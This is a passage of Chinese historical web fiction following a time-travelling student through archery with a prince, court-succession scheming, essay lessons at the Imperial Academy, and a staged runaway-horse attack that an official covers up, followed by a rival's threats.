“这就不足为奇了,若你想现在做官,本王可以给你安排,若是想要接着科考也随你。” 郑崑瑛再拜,“谢王爷的恩典,但学生亦想走科举之途。” 端王颔首,把那写字的青年唤到身前,仔仔细细地查验功课,便叫他带着段之缙和郑崑瑛二人去玩,还叮嘱道:“去池子边钓鱼也成,去引箭楼拉弓也成,但是不许强拉硬弓,也不许下水。”然后接过人家吃剩的酥山,也不嫌弃。 青年貌似文文静静地应了,刚出书房门就原形毕露,兴奋地往北边跑去,身后乌拉拉一大群小太监跟在后边追,惊慌道:“十一殿下,你慢点啊!要是磕了奴才们的皮子都要褪一层!” 原来不是纪禅的儿子,而是他的弟弟纪祎。不过相差十四岁,倒也跟儿子差不多了。 段之缙和郑崑瑛也跟在后边追,一直到了北边的引箭楼。 登楼,再往北边望,竟然是一片稀薄的草地,空荡荡的,什么也没有。 十一皇子纪祎生龙活虎地把墙上桦木胎贴麂角片大弓拿下,弓弰包着鎏金錾花铜,弓身却很纤细,是一把典型的猎弓。 小太监程铭给他背上箭筒,贴金镶玉,米黄玉车成米粒大小,和米粒大小的珍珠凑在一起,在箭筒子上拼出一副威风凛凛的猛虎下山图。 纪祎回身招手叫段之缙和郑崑瑛过来,“你俩会射箭吗?” 段之缙上世的家境很不错,虽不爱去马场,但是射箭谁能不喜欢?闻言点点头,郑崑瑛却不会。 纪祎眼睛一亮,“你瘦瘦弱弱的,还会拉弓呢?我俩比试一番如何?”他说完,叫程铭找师傅教一教郑崑瑛,又从墙上拿下来一只桦木弓,只是这把素净得很,不像纪祎那把,恨不得花纹上边打一把弓。 段之缙先提醒郑崑瑛:“把护具都带好,不要强拉硬弓,弓弦不能离面太近,耳朵会被割下来的。” 语罢,先打量了一番纪祎递过来的桦木弓,手上的弓弓梢大而长,又反向弯曲,典型的清弓。 清弓好啊,古代弓箭发展的最高峰,能干过早期的火枪,只是后来不行了。随着火枪的发展,弓马骑射发家的清廷也更愿意用火器。 想起火器,免不了想起火药,到底 是一硫二硝三木炭还是一硝二磺三木炭来着? 正沉思着纪祎催的不行,叫他赶紧过来。 段之缙试着拉一拉弓弦,该是四力的猎弓,他自穿越后便没有锻炼过,根本拉不开,于是换了一张三力的轻弓,再去程铭那里挑选合手的鹿骨扳指,免得射箭时弦线滑动。 带上牛皮素面护指套和护臂,射箭的护具就算穿戴妥当。 再看外边草地上,四个侍卫不知从何处抬来两三个笼子,笼门一开,十几只杂毛兔子嗖地窜出来,一眨眼四散逃开。 纪祎转了转碧玉扳指,“你就用三力的弓?” 段之缙回道:“殿下,再重的弓我也拉不开了。” “那好吧。”纪祎叫程铭给自己也换了一把三力弓,回身笑道:“这样就公平了,等兔子打完了,谁射的兔子多,就算谁赢。” 两个人摆开姿势,段之缙两脚开立同肩宽,脚尖微微外旋,重心下沉,含胸拔背仿佛骑在马上,手指钳住弓弦,往鼻尖与嘴角处拉。 放箭! 啧…… 兔子跑了。 终究是几年没练过,自己的核心也不稳。 而旁边的纪祎拉弓如满月,将一只灰毛兔子定死在地上。 两个人玩得热火朝天,引箭楼里到处都是箭羽破空的簌簌声,书房中却安安静静,端王和秦行说话。 屋内除了吕太清,就剩下秦行和纪禅二人,后者把半化的酥山往口里填,说起朝堂之事。 “父皇说,想要叫我再领一个工部。” “那王爷的意思呢?” “我的意思……”纪禅冷嗤一声,“父皇恐怕准备以爱立嫡了。” 怎么突然说这个事情?秦行问道:“何以见得?” “先前嘉宁配给了老葛家的儿子,葛礼爱的呀,恨不得把整个国库掏给老二。户部是国之命脉,河堤工程、赈灾钱粮和平日里的大事小情,哪一个从国库里掏银子不走户部,他老二管工部的时候就不用,难道父皇是瞎子吗?” 这是放任自流了,就算是再昏庸的皇帝也不会选这样的继承人,更何况当今也不至于说一声昏君。 “他不管,正说明老二不是他心里的继承人。可倘若他中意我,也不会任由我这么多的精力耗费在老二身上。只有六弟,他有福啊,管一个礼部都手忙脚乱了,还能得父皇的青眼……谁叫人家是长在乾清宫的呢?而我不过是表面上受宠,叫外人看着像是担了多少重任。” 纪禅满脸讥诮,好似不在意,拿着勺子舀玉盏中的玫瑰酥山,一时失手,混着蜜渍玫瑰的冰沙沾到雪白的衣袖上,弄得一片黏腻。 他不知怎么的,烦躁如爆燃的火焰腾得升上来,将玉盏狠狠掷在脚底猩红色的波斯毛毯上,地毯瞬间肮脏不堪。 王爷一阵泄力,失落地趴在案上。 秦行把没摔碎的玉盏捡起递给吕太清,示意他再呈一碗上来,自己看了一会儿纪禅沮丧的身影垂眸轻声问:“《资治通鉴》王爷是熟记于心的,唐太宗为何立高宗为太子,也无需多说。” 纪禅抬起头,定定看着秦行,后者接着说道:“先太子多么受宠,连运来的荔枝都要先给太子挑,徐久宜在三川弄出这么多的冤案,皇帝都投鼠忌器。可后来皇帝又不放心了,一步步逼死了太子。” 纪禅接过新送上的红豆酥山,醇厚的牛乳冰沙带着绵密的红豆一块送入嘴中,他莫名一笑,吩咐吕太清道:“刚才本王说的话你也听清楚了,告诉焦常青,把父皇的心意透给二哥去。” 焦长青和秦行同为府内的幕僚,两人一外一内,最得纪禅倚重。 “先生说的很对,是我着相了。与其和二哥牵扯这些精力,倒不如叫他去打六弟,看六弟怎么办,父皇又要如何……有先生助我,看来真是上天要叫我成大事。” 秦行忙摆手:“我也是不中用的老东西,这事儿还是缙儿提醒,也是旁观者清。”他将方才和段之缙说的那些挑拣着说了,特意强调了“鹬蚌相争渔翁得利”那一块儿。 他断断不会占学生的便宜,且看样子,端王对缙儿也就是情面上的事情,更爱重郑崑瑛,他虽也喜欢德润,但缙儿才是亲学生,如今告诉端王,日后无论是选官还是如何,都能得庇护。 纪禅倒是惊讶了,段之缙在他眼里,不过是一个运气极好的读书人,自己也不甚关心,没想到有这样的见识,也好奇起来,开门叫王贺找段之缙。 段之缙此时拉弓拉熟了手,箭矢咻咻发出去,也射得了几只兔子,正玩得热闹呢,王贺就上来领人了。 “段解元,我们王爷有请。” 还不等段之缙说话,纪祎咻得射出一支箭,射中了场内最后一只兔子,回头瞪王贺:“你真扫兴,怎么偏生这时候来找?” 王贺一看他满头汗,先掏出帕子给他擦了,哄道:“王爷有要事呢。” “那叫灵寿和我一块儿去郊外的猎场吧,连带着那个郑崑瑛。” 这事儿王贺做不了主,只说要回去问问,带着段之缙跑了。 重新回到书房,这会儿熏衣服的宣和御香已经被换成了梦觉庵妙高香,二十四味香药对应二十四节气,香调比之宣和御香更为多变。 王贺跟纪禅说了十一殿下想带灵寿郡主去郊外的事情,王爷许了,只特意叮嘱多带侍卫。 段之缙又上前给纪禅行礼,纪禅像第一次见他似的,竟有些稀罕,叫段之缙往自己身边坐,叹道:“没想到你年纪不大,心思深得很,读《资治通鉴》读到这样的水平,也是难得,倒真不愧是秦行的学生。” 段之缙便知是先生实话实说了,谦虚道:“是学生的一点浅见罢了,王爷谬赞。” “你既说要渔翁得利,本王做孝子贤孙即可吗?”纪禅等着他的回答,实则也是一场考验,若段之缙当真觉得只做孝子贤孙便能位极九五,只能说明他对太宗旧事的理解多半是瞎猫碰上了死耗子。 段之缙看一眼先生,秦行失笑:“看我作甚,有什么答什么。” 他才真正安心思考,镇定回道:“世上孝子贤孙何其多,并非人人都能得父亲青眼,只怪人心本来就是偏的,王爷手里得有底气才是。做最能干最孝顺的儿子是为行上策,可万一天不佑王爷,王爷也有行下策的能力。” 什么是底气? 自古以来,都是枪杆子里出政权。 大雍的军队调度出自内阁,内阁的人又全是皇帝的亲信,唯皇帝之命是从。大小军官也都是皇帝任命,怎么会跟着一个王爷冒险呢? 这才是关键所在,只是段之缙也没什么好想法。 纪禅玉盏中的酥山已经化了大半,牛乳粘在手上又被帕子擦去,虽没有说如何能获得底气,但也很满意段之缙的回答,于是把刚才工部的事情拿出来说。 段之缙又回道:“皇上叫王爷多领一个部,王爷就多领一个部。” “我若是多领一个部,管好了再送给六弟,岂不是为别人做了嫁衣裳?” “刑部会分给肃王吗?” 纪禅摇头:“我管刑部多少年了,没有贸然换人的道理。但是也说不准,谁知道父皇的心呢?” 段之缙抿唇,人治就是这点不好,没人能是真正的政治机器,大家都有私心会偏爱,但端王也不会坐以待毙。 “学生想,刑部已经叫王爷打理的井井有条,即便叫肃王领着,明眼人也都知道是王爷的功劳。工部不一样,若陛下想要叫肃王捡现成的功劳,就会叫肃王中途入场,好歹做些实事。既然这样,就要叫工部的官员畏而不敬,只是迫于王爷领部不得不改一改往日的不正之风。” 这样,一旦换了新领导定然压不住这些老油条。 “若父皇将那黑锅往我身上甩呢?” “那王爷就认罪认罚,不要争辩,还要帮着肃王理部,也是为自己留一条退路。” 纪禅明白他的意思,若是父皇已经是非不分到那种程度了,老二也不是六弟的对手,若自己没有十分的把握弄到“底气”,趁这个机会和六弟交好也能从烂摊子里全身而退,日后做贤王也好“闲王”也罢,这一家子儿女还是能养住的。 他赞赏地看着段之缙,佯装可惜:“可惜你书读得好还要科考,倘若已经屡试不中了,来我王府做个幕僚岂不好?” 段之缙俯身再拜:“学生读书好与不好,不都是为王爷准备的吗?” 纪禅开怀大笑 ,想找点东西赏他,按理说瓷器、盆景什么的都是适合的赏赐,只是这样有些太不尽心,也不知他喜不喜欢。若赏金银,纪禅又觉得太俗。 王贺提醒道:“方才奴才所见,段解元还挺喜欢射箭的,王爷赏他一把弓如何?” 秦行和纪禅都惊讶地看着他,“你文文静静的,倒还喜欢这呢?” 不过倒是一个好思路,纪禅吩咐王贺去库房里找自己的吉庆锦纹桦皮弓,面覆牛角,背部则是斑斓彩漆桦皮,十分名贵,又甚为好用。 段之缙果然喜欢,美滋滋收下,等着郑崑瑛从郊外回来,王府的马车将他们送回家。 国子监的日子风平浪静,直到十月份廷试之后,段之缙和几位诚心、修道二堂的中举同窗升入率性堂,惊讶地发现自己被新同窗们孤立了,连累郑崑瑛也被孤立。 第58章 058理、法、辞、气 这次段之缙他们升入率性堂,荫生只有他与徐明宣二人,郑崑瑛等四人俱是各地县学、府学推荐的人才,因此分配新号房的时候,段之缙和徐明宣分入了两位荫生所在的号房,其余四人一个号房。 率性堂的号房在国子监最南,房前一片空地,晾衣服十分方便,但是新舍友们的表现却十分出人意料。 段之缙同陈恬、朱首珍二人打招呼,他们却只看见了徐明宣,对段之缙理也不理,倒把他弄得愣在原地。 不过这也无妨,人的缘分悬得很,不必强求。 第二天去堂中读书,段之缙发现两位舍友身边只有一张空桌子,专为徐明宣准备,等周围的人都坐下了,他环顾四周才在西南犄角旮旯发现了一张空桌。 段之缙恍然大悟,原来自己被针对了,可这是从哪儿学的手段?真够幼稚的…… 反正和他们相看两厌,段之缙提着书就往犄角旮旯里坐,徐明宣嘲笑一声:“陈兄、朱兄,你俩几岁?”然后拖着自己的桌椅跑到了犄角旮旯。 郑崑瑛倒是想过来,可惜西南角就那么大点地方,再放一个就挡着路了。 此时尚没有什么好忧虑的,段之缙算一算日期,今天没有先生来授课,学生自修,只是不知率性堂进度如何。 为显尊重,段之缙特意起身跑到前边,先自报家门,又拱手问课程进度,谁知前边那人眸子一斜,将段之缙打量一番,蹙眉道:“你还是去问那些荫生吧。” 这是拉起小帮派了? 段之缙又跑去问了两个人,一个专心读书不知是真没听见还是故意不理人,另一个白眼翻到了天上。 啧……自己是何时臭名昭著的? 徐明宣倒是问得了答案,再讲就应当是五代史了。 诚心堂只讲过一遍十三经二十一史,率性堂应当是精讲到了五代的内容。 段之缙展开书本,全身心地投入进去,坐堂的助教大人也进了教室,拍了拍手叫诸生停下,问道:“段之缙在何处?” 段之缙起身上前,助教领着他前往东厢房,“日后若堂内不授课,你就来东厢房等大学士薛永旺大人。” 大学士?“大人,不是博士吗?” “大学士是虚职,显尊贵用的。博士也是挂名的,为叫老大人有些事情做。” 推开东厢房的门,案前正是薛大人,鹤发鸡皮,老态龙钟。 “薛大人是六十年的老状元了,制艺无出其右,耄耋之年来教你这个小子,真是你的造化,还不赶紧行礼。” 段之缙瞠目结舌,反应过来连忙叩首,“学生段之缙拜见先生,定当夜以继日,绝不负先生的教导。” 薛永旺方要开口先惊天动地地咳了起来,咳得两眼赤红,段之缙和助教一个端茶一个抚背,这才叫他平息。 大人喘了两口气,像是年久不用的风箱被迫工作,发出“呵呵”的呼气声,段之缙真怕他一口气没上来背过去。 就算薛永旺是文曲星下凡,也不能叫八九十的老人拉磨啊!你们朝廷还有没有人性了! 薛大人人老心思不老,枯枝一把的手指拉住段之缙的手安慰道:“别害怕,还万不到死的时候,教导你绰绰有余。” 助教任务完成,临走时拽着段之缙嘱咐:“薛大人是六十年的老状元了,身体还好的时候经常点会试总裁。现在年纪大了又不愿意致仕,听说这次要教解元,主动请差,这才没叫另一位博士来。你千万当心不要惹老人家生气,若是出事了也不要害怕,西厢有太医常驻。” 助教不说还好,一说西厢有太医照看段之缙就开始担忧了,小声求道:“大人,叫太医来东厢吧,学生害怕……” “狗似的胆子,你怕什么!没事儿,薛大人是年纪大了才这样,不是得了病身子不好……”助教话音未落,后边又是惊天动地一阵咳,将两人吓得噤声,助教握住段之缙的手道:“你先上课,我把太医弄到这里来。” 段之缙只好回到屋里,又喂了大人一杯水,这才将蒲团摆到大人身前,端正跪好。 此时太医也进来,自己找了个角落坐下。 老大人颤颤巍巍出了声:“哎,不用跪着,老夫这里规矩小。你去桌子上写一篇四书文来,题为‘仁者爱人’,限半个时辰。” 段之缙知薛大人是老状元了,其眼界非自己能设想,因而静下心一步步思考,又使出浑身解数雕琢文字,自认为不过半个时辰便能书完,谁知刚写下束股第一句,老大人沧桑的声音就在身前响起。 “到时间了,拿来吧。” “大人,应当还未到时间。”段之缙自八月乡试之后,书时文从没有超过半个时辰,再者屋子内并无计时工具。 薛大人和蔼一笑:“老夫的心比钟还准呢,将你的时文拿来吧。”他说着,手伸进怀里,掏出一个锦缎小布袋,赫然掏出了一副眼镜。 “嘿嘿,年纪大了,不用眼镜什么也看不见,圣上特意赐下的水晶眼镜,带上好多了。”干巴巴的小老头语气里带着些炫耀,说完仔细看起了纸上的文字。 看完后,薛大人取下眼镜,用自己的袍角扣着缝擦干净,这才小心翼翼地放回眼镜袋中,评判道:“章法稍平,词采未耀,然破题峻切,文气沛然……虽说你这解元有机缘巧合的成分,但也不算辱没了朝廷体面。只是你怕什么呢?方才怕老夫死了,现在磨磨蹭蹭,时文还没写完。” 段之缙讪讪一笑,也是没想到薛大人眼睛不甚明晰了,耳朵却好使得很。 “你回去坐着,老夫说到要紧的地方你要记下,回去多思多想,多写多练。” 薛大人啜一口茶水,又拉着风箱咳了两声,实则清了清嗓子,声量一下子放大,开始讲授八股文:“老夫写时文、看时文,评判的标准有四。一看‘理’,是否符合我孔孟之道?若是异端杂说则一概不录;二看‘法’,法分御题之法和行文之法,而法兼得才能说一句妙。三看‘辞’,文章以意胜为主,而意必藉辞以传,因而时文的辞藻亦十分要紧。最后,也是最重要的则在‘气’,气是什么?这与你的才情、抱负都相关,你的学识就汇在气中。” “你的文章,合‘理’,无异端邪说。文气充沛,如江出夔门,奔涌不可遏,但却戛然而止,原因在何?正是辞不够精妙,因而气困于辞,万丈高山崩于一瞬。” 段之缙奋笔疾书,又虚心问道:“先生,那学生应当如何改正?” “八股文是骈散结合,八比为骈而其他为散,但如今士子为卖弄文采,不光在八比处写骈文,又在应散处卖弄小心思,散处不散,此为撰文大忌。好的文章,用李涂的说法则是‘文字须有数行不整齐处,须有数行整齐处’,因此为文应当一张一合,一松一紧。” 段之缙抿唇静思,写诗还好,条条框框多反而无需太多的发挥,但时文总是叫人头疼,对仗写出来差点味道,还不等他张口询问,薛永旺自己就做了解答。 “你在排偶处雕琢文字,却总是不甚合意,不如去看看刘大櫆的《论文偶记》。这写文章啊,就跟写诗、唱歌是一样的,所谓‘音节者,神气之迹也;字句者,音节之矩也;神气不可见,于音节见之;音节不可准,以字句准之’就是这个道理。” 段之缙已经有些领悟,询 问道:“先生是说在文章中也用平仄之法?” 薛永旺欣慰一笑:“孺子可教,‘一字之中,或用平声,或用仄声;同一平字仄字,或用阴平、阳平、上声、去声、入声,则音节迥异,故字句为音节之矩。积字成句,积句成章,积章成篇,合而读之,音节见矣;歌而咏之,神气出矣。’这就是刘大櫆所说的做古文之法,老夫认为在制艺中也相当适用……” “此法不仅能解决词采上的缺点,章法也能法密机圆……” 老大人不讲课的时候咳个没完,讲起课来容光焕发,段之缙也听得津津有味,受益匪浅,正在学海里畅游的时候,薛永旺突然说:“上午的课差不多了,怎么破题明日再说,我为你布置两篇时文,写完了再交给我。” 然后他伸出了三个手指,念道:“三、二、一。” “一”字话音刚落,外边下课钟声响彻了整个国子监,小老头狡黠一笑:“老夫说什么来着?我的心比钟还准呢!” 段之缙失笑,拱手行礼,“学生佩服。” 薛大人说了一上午的话也累了,脸上带了些疲态,坐在椅子上啜着水,助教出现在东厢,和段之缙一起扶着薛老大人上马车,段之缙这才有功夫去膳堂吃饭,仍是和往日旧友一块儿。 讲起了早上的事情,方叙墨还气个半死,但若仗势欺人不仅叫段之缙更难做,自己也恐被父亲打断腿。 段之缙却安慰他不要紧。 接下来的日子,上课、撰文、考试,一切按部就班,这样的孤立并没有产生任何影响,直到他发现郑崑瑛也被原来的群体踢了出来。 “这是为何?!原来修道堂的同窗也不管你吗?” 其实也不用问,定然是因为郑崑瑛和段之缙走得太近了,被一起针对。徐明宣虽然也同段之缙走得近,但他父亲是朝廷的一等公,立得赫赫战功,虽说现在领了一个虚职但身份体面都在,即便是和段之缙走得近也不会被针对。 到底是柿子挑着软的捏。 郑崑瑛满不在乎:“大家都有自己的圈子要入,能做出自己认为对的选择就很好,何必想东想西。这只能说明我们不是一路人,还是尽早断开的好。” 话是这么说的,可当段之缙因留在堂中的时文消失而被先生打了三记手板后,他再也不能放宽心了。 这群人是小学生吗?有意思吗?也就是仗着这个地方没有摄像头,否则自己绝不罢休。 这几天抱着课业来回跑,同时暗中观察堂内的学生派别,还真让他看出了些门道。 坐监的监生们来源各异。 家中高官厚禄的荫生眼高于顶,自有他们的登天梯,为首者正是葛观澜。 各地选送的贡生,励志科考者清高自傲,天地广大任他们施展才华,想的是披红簪花,御街夸官,岂会和庸庸碌碌之辈混迹一处?他们之中,以孔氏后裔为首。 想要以廷试选官的同窗却则分为两派,一派修身守正,一心向学,完美融入励志科考的人群中。另一派则寻得了更好的出路,与荫生们同进同出,为的是人家父辈的关照。 自九月十五日大家被祭酒大人招走训话时,段之缙就看出葛观澜对自己有意见了,现在荫生们排挤自己也不足为奇,搞小动作的也应当是他们。因为其他人虽看他不顺眼,但绝不会做这种没品的事情。 而那些寒门子弟,段之缙猜测了许久才弄明白他们为何排挤自己,说到底是不患寡而患不均。 率性堂学额有限,此次总共空出了六个,段之缙便内定了一个,其他人俱要考试升班。除此之外,国子监内的博士薛永旺还给他开小灶授课,他的课业也不同旁人一样十日一查,而是每天都要教给薛先生检查。 大家很看不惯他搞特殊。 这个倒是很好解决,段之缙在征得薛大人的同意后,直接将自己的笔记放开抄录,只要有人需要且在段之缙用完之后,大可借阅抄写,无有不应。 其他人和他没有深仇大恨,现在段之缙愿意将原本可以独占的资料公开,礼尚往来,大家对他虽不亲密,但也愿意帮他看着功课,毕竟上边的批语也能学习。 国子监内规矩管得严,荫生只敢也只能搞这些小动作,再多了也怕被先生发现逐出国子监。 似乎一切都安静了下来,直到十一月十六日,段之缙在街上溜达的时候,一辆马车失控,在大家惊恐的叫声中朝着段之缙的方向冲去。 第59章 059惊马 深深的小巷子里,连阳光也照不进,昏暗潮湿得像是另一处天地。 马夫张顺坐在车前边的鞍座上,明明照不见光,豆大的汗珠却混着尘土在皱纹里结成厚厚的盐壳。 他浑浊的眼球像死鱼似的暴突,瞳孔紧张地震颤,还死死盯着广和居的黑漆大门,直到有一个青棉衣士子走出。 呵……呵…… 控制不住地喘粗气,肋骨在补丁叠着补丁的衫子下若隐若现,张顺布满血丝的眼睛滚下泪来,他张开裂成蛛网的手心,将其中黄白色的粉末舔舐干净。 颤抖的手从怀里掏出来一颗饴糖递到枣红马的嘴边,黏腻的掌心摸摸它的鬃毛,张顺哽咽道:“好马,好马……咱们都是一个命啊……” 马儿亲昵地蹭一蹭黝黑的手,伸出舌头将饴糖卷入口中,最后满意地打着响鼻。 药效很快就上来了,马蹄狂躁地踢踏,一团团恶臭泛红的泡沫从马嘴淋漓而下,马夫忍着胸口的剧痛,驾着马车驶向熙熙攘攘的人群。 最后一眼是高挂的太阳,为何那么刺目,却不能照进每一个角落呢? …… 申时三刻,广和居所在的铜铃大街上炸开哭嚎。 茶寮前的旗杆最先断裂,碗口粗的松木砸翻糖画摊子时,段之缙正看着那一串串红彤彤的糖葫芦掏铜钱,琼香嘴里已经吃上了。 在他的身后,整条街已经像被捅穿的马蜂窝。脚夫被马蹄踹飞,鲜血从口角喷出来,身子滚入胭脂铺的竹架里,朱砂与铅粉扬成一片红雾。 “马惊了——” 绸缎庄二楼传来尖叫,段之缙回身就看见那匹枣红马——眼珠凸出成骇人的赤红色,口涎混着血沫溅在青石板上,急速向他冲来。 他吓得愣住,琼香将他一把推开,险险避开了马蹄,琼香压着身子往后一跌,打着滚站起来往树上窜,大喊道:“二爷,往那边的酒楼里跑,跑到二楼去!” 段之缙回头看一眼琼香,见他已经脱困,拽着王章狂奔,不幸摔倒四肢着地都在拼命往前爬。 人搡着人,大家乌泱泱往铺子里躲,慧秀紧紧攥着女儿的手,一股突如其来的巨力将她撞翻在地,血水从额头蜿蜒而下,再睁眼时,自己的女儿已经到了街中央,扑坐在地上嗷嗷大哭。 “我的儿!”慧秀头上的血流入眼睛染红了眼白,嘶吼从喉咙间挤出,她近乎疯狂地朝那跌坐的女孩扑去,听到惨叫声的段之缙也看到了女孩,顾不得思考回身去救。 高高扬起的马蹄下,段之缙搂住女孩一个翻滚躲过了践踏,马像是被他的举动激怒,赤红色的眼睛死死盯住了段之缙,巨大的响鼻声几乎要震碎他的鼓膜。 段之缙把孩子抛回人群中,自己借助障碍物躲了两下,但人是跑不过马的。 段之缙被逼到了死角,掀翻的摊子堵住街道,也堵住了他的生路,枣红马人立而起,千钧一发之际,一支利箭破空而出,正中马腹,又一声枪响,枣红马颅炸开一个洞,马身轰然倒下,粉白色脑浆混着血流了一地。 两辆马车缓缓驶来,八宝琉璃顶在冬季的阳光下熠熠生辉,最前边正是十一皇子纪祎,手持重弓还未放下,而稍后的马车门开了半扇,又砰的关住。 纪祎下车去查看那马,侍卫统领丁辰赶开嘈杂的人群,大喊道:“皇子车驾!回避!” 后边马车中纪明玥将带着余温的鸟铳递出去,吩 咐丁辰:“把伤者送到医馆里,钱都由我们王府出。” 统领却犹豫起来,“郡主,我们是护持殿下和您的侍卫,不能离开……” 马车后,身着骑装的青年打马上前,心急如焚地问:“郡主,你还好吗?”不是方叙墨是谁? 隔着马车,灵寿郡主回道:“我能有什么事儿?”又命令丁辰照自己的意思去办,“顺便去看看顺天府的官员是不是死了,这边闹得人仰马翻,他们是吃酒吃昏头了吗,为何还不来?!” 丁辰还要再劝,原因无他,这一行人都是去城外猎场玩耍的,回程碰上了这样的事情,叫两位金枝玉叶出手已经是极大的失职,倘若再离开郡主身边,回去挨板子都是轻的。 方叙墨却催着丁辰去,省得郡主的暴脾气上来,落得那发狂的马一样的下场,然后轻声说:“郡主,我去看看伤者。”纵身下马,跑到了人群中。 要不说是朋友的缘分深不可测呢,方叙墨一眼就看了被王章和琼香抱住的段之缙,大惊失色地跑过去,喊道:“允升!老天,你这是怎么了?” 刚才一切都发生的太突然,段之缙的心脏跳到了嗓子眼现在还没落下,脑子嗡鸣,眼神呆呆地看着方叙墨,却凝不上神。 啪一个耳光子把段之缙打回神,他这才猛然发现一切都结束了。 “文渊?原来是你啊……” “你有没有受伤?” 虽然衣服里的棉花都窜了出来,但除了手、脸之上的擦伤,似乎也没大碍,他被王章、琼香两个人搀起来,刚要说没事儿,一阵剧烈的疼痛从左脚踝直窜大脑,他痛得冷汗直流,“好像是脚崴了。” 费力地棉靴脱下,一个鼓胀到要炸裂开的脚踝被风一吹,冷得人一个哆嗦。 纪祎看完了马也来到段之缙的身边,惊讶道:“是你啊!脚要是不能走就坐我的马车去医馆吧。” 那马车是有规制的,段之缙不该乘,刚推辞了两句纪祎直接抱着他上了马车,方叙墨也跑了上去叫他安心,马车声粼粼赶往医馆。 医馆都是方才受伤的人,从骨折到崴伤样样都有,几个大夫先重后轻,最后才轮到段之缙。 大夫给他包上活血化瘀的药,又开了一个方子,嘱咐道:“你这皮下全是淤血,扭得有些严重了,索性没有伤到筋骨,比起旁人也是万幸。明天再来这儿针灸一下,一个月内即可痊愈。” 方叙墨拿过方子抓药,先把段之缙送回家,又跑去国子监给他请假,最后才回郡主身边。 此时铜驼大街上,顺天府饮何穗已经被纪明玥骂了一顿,恨不得找个地缝钻进去,只能唯唯诺诺称是。 纪明玥发完了火,纪祎把他拽到了一边去问道:“大人,我没进过衙门什么也不懂,今日的事情怎么办?” 何穗擦擦脸上的汗,“听殿下的吩咐……” “放你的屁!要是听我的吩咐,要你干什么!” “是是是……现在受伤的百姓也送去了医馆,马夫的尸首还要仵作查验,马我们也先带走……” 纪祎听他说的差不多,再多的事情他也管不了,便吩咐侍卫们回王府,这烂摊子就给顺天府处置。 天子脚下,疯马伤人不是一件小事,第二天都察院弹劾何穗的折子就摆在了乾清宫案头,何穗跪在殿前声泪俱下。 “陛下,不是臣等玩忽职守,实在是当时太乱,报官的人来的太晚,臣赶过去的时候十一皇子和灵寿郡主已经射死了畜生。臣也已经将安抚百姓的事情做好,身死者补偿百两银,重伤者补偿白银五十两……” “行了行了!”皇帝不耐烦地打断他,叫他吵得脑袋疼,“善后的事情朕还是放心的,但是那个马为什么会发狂,你们查清没有?!” “臣等查清了,马夫名为张顺,宛平县下张家村人士,养了一辆马车,通过载雇马车的人讨生活,家中一妻二子,还养了一个小女儿身子不好。他是在驾车的时候暴死的,主人暴死后,马儿受惊狂性大发,这才出来伤人。” 皇帝蹙着眉头:“这么说这就是意外了?” “臣以为应当如此。” “什么叫应当?” “臣以为就是如此!” 皇帝叹一声,“也罢,命不好怨不了旁人。也不要为难张顺的家人了,好好安抚百姓,就这样结案,你也下去吧。” 何穗磕头退下,擦了擦脸上的汗长舒一口气,腹诽道:“狗日的葛礼,你要是再不批我报的银子,可真对不起我吩咐仵作把张顺嘴角的药粉给抹了。” 昨日大半夜睡着觉呢,也不知道是谁来拜访,邀着出去喝酒,还拿户部的事情吓唬门房,自己带着人去,七拐八拐去了一个雅致的小院,这才知道是葛礼那厮,要把此案做成意外。 自己也不稀罕问那么多事儿,造那么多孽也不怕天打五雷轰,问了只会脏自己的耳朵。 反正也不是牵扯权贵的大案,只要能把自己属官的俸禄银子批下来怎么都行。 铜驼大街的案子就如此草草了结,张顺的家人以害怕受害者报复的理由搬离了张家村,之后去了哪里也无人知晓,只听说那小女有福气,身子慢慢好了起来,兴许是换了水土的原因。 在家中养了七天,针灸了六七回,段之缙的脚便不那么疼了,仔细想想学业要紧,还是回到国子监中销假,每天一瘸一拐地上课。没想到因祸得福,率性堂有志科考的同窗见他身残志坚也都摘下了有色眼镜,见到他多少会扶一扶。 更没想到的是,第一个用上太医的人竟会是段之缙。 在东厢房里,受伤的脚踝被扎成刺猬,段之缙翘着脚记笔记,薛老大人开始讲八股文的破题方法,“老夫给你一个题,你要怎么破?” 段之缙回道:“一要回想题目的出处,是出自四书五经中的哪一篇?二要想这篇的意思,这句话讲什么。三则要找朱子的注解,这才能大差不离。” “很对,不过老夫还要再教你一招。有了题,先揣摩题目的出处,是谁说的?对谁说的?在何种情况下说的?都要思考清楚。再者,要想有没有不同的解释,不一定非要从程朱中出。最后嘛,要仔仔细细地去揣摩这个人,他说话的时候该是什么样的语气神情……” 上午的课程结束,针灸还得等一会儿时间,薛大人就拖了一会儿堂又讲了一些,等着太医将银针拔下才悠然离开,段之缙穿上鞋子,被等候的郑崑瑛和徐明宣二人搀扶着去膳堂。 “你的脚怎么样了?” 之前躺在床上的时候,淤血吸收得很快,回到国子监后总会有不得已走动的时候,原本消下的脚踝便有些浮肿,到今天已经肿成发面馒头了,幸好太医说不要紧,只要不负重奔跑就无事。 段之缙回道:“好着呢,太医说这个月就能消去。” “那就好,可不能带着病过年。” 现在都要入腊月了,若是再不好,真得带着病过年,很不吉利。 他们三个人到了地方,放眼望去,膳堂里也没剩几个人,葛观澜几 人和诚心堂的几个不甚熟悉的同窗在,其余人不认识。 三人吃完饭,徐明宣拿过碗筷去洗,郑崑瑛则去刷食盒,段之缙腿脚不好,坐在原处发呆,就在这时,葛观澜坐到了他的身边,环顾四周,其他人都隔得老远。 “允升,你的脚还好吗?” 段之缙叫他一句“允升”唤得头皮发麻,咱们两个熟吗?何故这样恶心人。 葛观澜拖着腮喃喃道:“读书人,谁能不想蟾宫折桂、金榜题名?但德要配位,你一个从五品员外郎之子,又不是什么拔、优贡生,怎么配呆在国子监,又怎么配点解元?你要是能自己辞去监生的身份……” “你有病啊。”段之缙可不听他这些胡话,直接骂了一句,葛观澜却不恼,甚至好心情地理了理他的衣领,含笑看着段之缙,“我知道,你以为上次时文不见了的事儿是我叫人干的,可你怎么不想想,这种家家酒一样的把戏,我会做吗?” “段之缙,你要记住,人的性命就跟秋天枝头的叶儿一样,风一吹就没了。这次是你命好,只伤到了脚,下次是哪呢?说不定了……” 葛观澜和正往回赶的郑崑瑛对视一眼,起身离开,四周空荡荡,刚才说的、听的,也只有他们二人。 段之缙被定在椅子上,铜驼街上涂着人与马的血,在脑中变成赤红一片。 即便再恨我,又何必连累他人?活生生的人还比不得榜上的名次吗? 对葛观澜来说,的确比不得,接下来的日子他又叫段之缙见识了什么叫失足从楼梯上坠下,幸好段之缙死命拉住了栏杆,才没受什么伤,只是脑袋上多了一个大包。 